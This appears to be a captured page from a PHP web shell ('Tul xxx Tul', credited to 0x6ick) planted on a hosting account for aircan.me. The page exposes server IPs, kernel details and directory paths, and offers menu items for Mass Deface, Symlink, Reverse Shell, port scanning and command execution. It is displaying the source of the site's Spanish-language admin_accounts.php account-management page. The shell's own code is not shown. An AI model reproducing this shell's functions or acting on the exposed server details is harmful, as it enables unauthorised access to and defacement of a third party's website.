Tul xxx Tul
User / IP
:
216.73.216.146
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
dondedy
/
admin
/
Viewing: admin_accounts.php
<?php include '../components/connect.php'; require_once '../components/admin_roles.php'; session_start(); $admin_id = $_SESSION['admin_id'] ?? null; if(!$admin_id){ header('location:admin_login.php'); exit(); } ensureAdminRolesSchema($conn); $currentRole = getRoleBySession($conn); if(!adminHasPermission($currentRole, 'admin_accounts')){ enforceAdminPermission('admin_accounts'); } $roleLabels = getAvailableAdminRoles(); $rolePermissionsMatrix = getAdminRolePermissions(); $permissionLabels = getAdminPermissionLabels(); if(isset($_GET['delete'])){ $delete_id = (int)$_GET['delete']; if($delete_id === (int)$admin_id){ addAdminFlashMessage('No puedes eliminar tu propia cuenta.'); }else{ $selectTarget = $conn->prepare("SELECT id, role FROM `admin` WHERE id = ?"); $selectTarget->execute([$delete_id]); $target = $selectTarget->fetch(PDO::FETCH_ASSOC); if(!$target){ addAdminFlashMessage('La cuenta seleccionada no existe.'); }else{ $targetRole = normalizeAdminRole($target['role'] ?? null); if($targetRole === 'owner' && countAdminsByRole($conn, 'owner') <= 1){ addAdminFlashMessage('Debe existir al menos un administrador con rol Propietario.'); }else{ $delete_admin = $conn->prepare("DELETE FROM `admin` WHERE id = ?"); $delete_admin->execute([$delete_id]); addAdminFlashMessage('Cuenta eliminada correctamente.'); } } } header('location:admin_accounts.php'); exit(); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Cuentas</title> <link rel="icon" href="../images/favicon.png" type="image/x-icon"> <!-- font awesome cdn link --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css"> <!-- custom css file link --> <link rel="stylesheet" href="../css/admin_style.css"> <style> body { min-height: 100vh; background: linear-gradient(135deg, #f5f5f5 0%, #fdf1ec 100%); } .page-heading { padding: 24px 24px 0; } .page-heading .section-title { font-size: 2.4rem; font-weight: 800; color: #181818; margin: 0; } .accounts { padding: 12px 24px 48px; } .accounts-grid { display: grid; gap: 22px; grid-template-columns: repeat(auto-fill, minmax(260px, 1fr)); margin-top: 20px; } .user-card { position: relative; overflow: hidden; background: #ffffff; border-radius: 20px; padding: 22px 22px 20px; box-shadow: 0 20px 45px rgba(15, 21, 45, 0.12); transition: transform 0.35s ease, box-shadow 0.35s ease; border: 1px solid rgba(243, 180, 152, 0.35); } .user-card::before { content: ''; position: absolute; inset: -60% -40% auto auto; height: 220px; width: 220px; background: radial-gradient(120px at top right, rgba(255, 107, 53, 0.18), transparent 70%); transform: rotate(12deg); pointer-events: none; } .user-card--self::before { background: radial-gradient(120px at top right, rgba(46, 204, 113, 0.22), transparent 70%); } .user-card:hover { transform: translateY(-6px); box-shadow: 0 24px 55px rgba(15, 21, 45, 0.16); } .user-card__header { display: flex; align-items: center; gap: 16px; margin-bottom: 18px; } .user-card__avatar { height: 58px; width: 58px; border-radius: 18px; background: linear-gradient(135deg, #ff8f70, #ff3d54); color: #fff; font-weight: 700; font-size: 1.65rem; display: flex; align-items: center; justify-content: center; box-shadow: inset 0 0 0 2px rgba(255,255,255,0.2); } .user-card--self .user-card__avatar { background: linear-gradient(135deg, #2ecc71, #1abc9c); } .user-card__info h3 { margin: 0; font-size: 1.35rem; color: #1e1e1e; letter-spacing: 0.2px; } .user-card__info p { margin: 4px 0 0; font-size: 0.93rem; color: #6c6f7f; } .user-card__badge { position: absolute; top: 16px; right: 18px; background: rgba(46, 204, 113, 0.12); color: #19a463; font-weight: 600; font-size: 0.78rem; padding: 6px 14px; border-radius: 999px; letter-spacing: 0.4px; } .user-card__actions { display: flex; flex-wrap: wrap; gap: 10px; } .user-card__button { display: inline-flex; align-items: center; gap: 8px; padding: 10px 16px; border-radius: 12px; text-decoration: none; font-size: 0.95rem; font-weight: 600; transition: transform 0.25s ease, box-shadow 0.25s ease; border: 1px solid transparent; } .user-card__button i { font-size: 1rem; } .user-card__button--primary { background: linear-gradient(135deg, #ff7a45, #ff4d4f); color: #fff; box-shadow: 0 10px 18px rgba(255, 120, 89, 0.24); } .user-card__button--primary:hover { transform: translateY(-2px); box-shadow: 0 12px 26px rgba(255, 120, 89, 0.32); } .user-card__button--ghost { background: rgba(255, 255, 255, 0.92); border-color: rgba(20, 20, 33, 0.12); color: #303149; } .user-card__button--ghost:hover { transform: translateY(-2px); box-shadow: 0 10px 20px rgba(23, 33, 56, 0.12); } .user-card__button--danger { background: rgba(231, 76, 60, 0.12); color: #d63031; border-color: rgba(231, 76, 60, 0.2); } .user-card__button--danger:hover { transform: translateY(-2px); box-shadow: 0 10px 20px rgba(231, 76, 60, 0.22); } .user-card--add { text-align: center; padding: 28px 22px 30px; background: linear-gradient(145deg, rgba(255, 255, 255, 0.98), rgba(255, 241, 232, 0.98)); border: 2px dashed rgba(255, 141, 96, 0.45); } .user-card--add:hover { border-color: rgba(255, 124, 67, 0.75); } .user-card--add .user-card__icon { height: 64px; width: 64px; border-radius: 18px; margin: 0 auto 16px; background: linear-gradient(135deg, #ffd36e, #ff7a45); display: flex; align-items: center; justify-content: center; color: #fff; font-size: 1.6rem; box-shadow: 0 12px 28px rgba(255, 139, 85, 0.28); } .user-card--add h3 { margin: 0 0 8px; font-size: 1.3rem; color: #1f1f2d; } .user-card--add p { margin: 0 0 18px; color: #6f7285; font-size: 0.95rem; } .message-inline { background: rgba(255, 118, 87, 0.12); color: #d35400; padding: 8px 12px; border-radius: 10px; font-size: 0.92rem; margin: 0 0 12px; } @media (max-width: 640px) { .page-heading { padding: 18px 18px 0; } .accounts { padding: 16px 18px 44px; } } </style> </head> <body> <?php include '../components/admin_header.php' ?> <section class="page-heading"> <h1 class="section-title">Administrar Cuentas</h1> </section> <!-- admins accounts section starts --> <section class="accounts"> <div class="accounts-grid"> <?php if (adminHasPermission($currentRole, 'admin_accounts')): ?> <article class="user-card user-card--add"> <div class="user-card__icon"><i class="fa-solid fa-user-plus"></i></div> <h3>Registrar nuevo usuario</h3> <p>Invita a otro miembro del equipo para colaborar en el panel.</p> <a href="register_admin.php" class="user-card__button user-card__button--primary"> <i class="fa-solid fa-circle-plus"></i> Registrar </a> </article> <?php endif; ?> <?php $select_account = $conn->prepare("SELECT id, name FROM `admin` ORDER BY id ASC"); $select_account->execute(); if($select_account->rowCount() > 0){ while($fetch_accounts = $select_account->fetch(PDO::FETCH_ASSOC)){ $profileLink = $fetch_accounts['id'] == $admin_id ? 'update_profile.php' : 'update_profile.php?id=' . (int)$fetch_accounts['id']; $isCurrent = (int)$fetch_accounts['id'] === (int)$admin_id; $initial = strtoupper(substr($fetch_accounts['name'], 0, 1)); if(function_exists('mb_substr')){ $initial = mb_strtoupper(mb_substr($fetch_accounts['name'], 0, 1, 'UTF-8'), 'UTF-8'); } $subtitle = $isCurrent ? 'Sesión activa' : 'Miembro del equipo'; ?> <article class="user-card <?= $isCurrent ? 'user-card--self' : ''; ?>"> <?php if($isCurrent): ?><span class="user-card__badge">Tu sesión</span><?php endif; ?> <div class="user-card__header"> <div class="user-card__avatar"><?= htmlspecialchars($initial); ?></div> <div class="user-card__info"> <h3><?= htmlspecialchars($fetch_accounts['name']); ?></h3> <p><?= htmlspecialchars($subtitle); ?></p> </div> </div> <div class="user-card__actions"> <a href="admin_permissions.php?id=<?= (int)$fetch_accounts['id']; ?>" class="user-card__button user-card__button--ghost"> <i class="fa-solid fa-lock"></i> Permisos </a> <a href="<?= $profileLink; ?>" class="user-card__button user-card__button--primary"> <i class="fa-solid fa-user-pen"></i> Actualizar perfil </a> <?php if(!$isCurrent): ?> <a href="admin_accounts.php?delete=<?= (int)$fetch_accounts['id']; ?>" class="user-card__button user-card__button--danger" onclick="return confirm('¿Eliminar esta cuenta?');"> <i class="fa-solid fa-trash"></i> Eliminar </a> <?php endif; ?> </div> </article> <?php } }else{ echo '<p class="empty">No hay cuentas disponibles</p>'; } ?> </div> </section> <!-- admins accounts section ends --> <!-- custom js file link --> <script src="../js/admin_script.js"></script> </body> </html>
Coded With 💗 by
0x6ick